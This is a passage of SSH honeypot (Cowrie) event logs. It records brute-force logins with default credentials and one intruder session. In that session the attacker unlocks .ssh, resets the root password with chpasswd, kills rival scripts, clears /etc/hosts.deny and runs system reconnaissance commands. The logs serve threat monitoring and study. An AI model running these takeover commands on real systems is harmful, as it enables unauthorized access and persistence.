-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:23.166691Z","src_ip":"92.118.39.92","session":"1dd62c9c0939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:23.506869Z","src_ip":"92.118.39.92","session":"1dd62c9c0939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55228,"dst_ip":"159.203.135.109","dst_port":22,"session":"76a5b3dd7063","protocol":"ssh","message":"New connection: 2.57.122.208:55228 (159.203.135.109:22) [session: 76a5b3dd7063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:24.487132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:24.588532Z","src_ip":"2.57.122.208","session":"76a5b3dd7063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:24.592464Z","src_ip":"2.57.122.208","session":"76a5b3dd7063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:24.613393Z","src_ip":"92.118.39.92","session":"1dd62c9c0939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.123.65.63","src_port":55968,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed1b93fdd77d","protocol":"ssh","message":"New connection: 223.123.65.63:55968 (10.17.0.5:22) [session: ed1b93fdd77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:25.200699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:25.205288Z","src_ip":"223.123.65.63","session":"ed1b93fdd77d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:25.416664Z","src_ip":"223.123.65.63","session":"ed1b93fdd77d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:25.615779Z","src_ip":"2.57.122.208","session":"76a5b3dd7063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:26.716920Z","src_ip":"2.57.122.208","session":"76a5b3dd7063","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:27.032112Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:27.035266Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:27.038868Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:27.727382Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:30.224806Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:30.228138Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:32.387081Z","src_ip":"223.123.65.63","session":"ed1b93fdd77d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"2.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:32.422264Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:39.584328Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:kIWB0k1EdsuW\"|chpasswd|bash","message":"CMD: echo \"root:kIWB0k1EdsuW\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:39.587368Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/2689e93ea78fab43c80bc880e83d1b21382b16ecdcfac5e69c6aecab61fe0566","size":24,"shasum":"2689e93ea78fab43c80bc880e83d1b21382b16ecdcfac5e69c6aecab61fe0566","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/2689e93ea78fab43c80bc880e83d1b21382b16ecdcfac5e69c6aecab61fe0566 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:39.791198Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:40.065572Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:40.068703Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:40.282002Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:40.285340Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:41.094349Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:41.097018Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:41.310674Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:41.768710Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:41.772504Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:41.985619Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:42.444991Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:42.448331Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:42.451098Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:42.664692Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:43.112096Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:43.114281Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:43.324803Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:43.816333Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:43.819075Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:44.032126Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:44.489868Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:44.492404Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:44.704698Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:45.152497Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:45.155019Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:45.366648Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:45.864935Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:45.867604Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:46.079246Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:46.525746Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:46.528600Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:46.740806Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:47.193330Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:47.195551Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:47.407080Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:47.873643Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:47.877024Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:48.089351Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:48.541833Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:48.544847Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
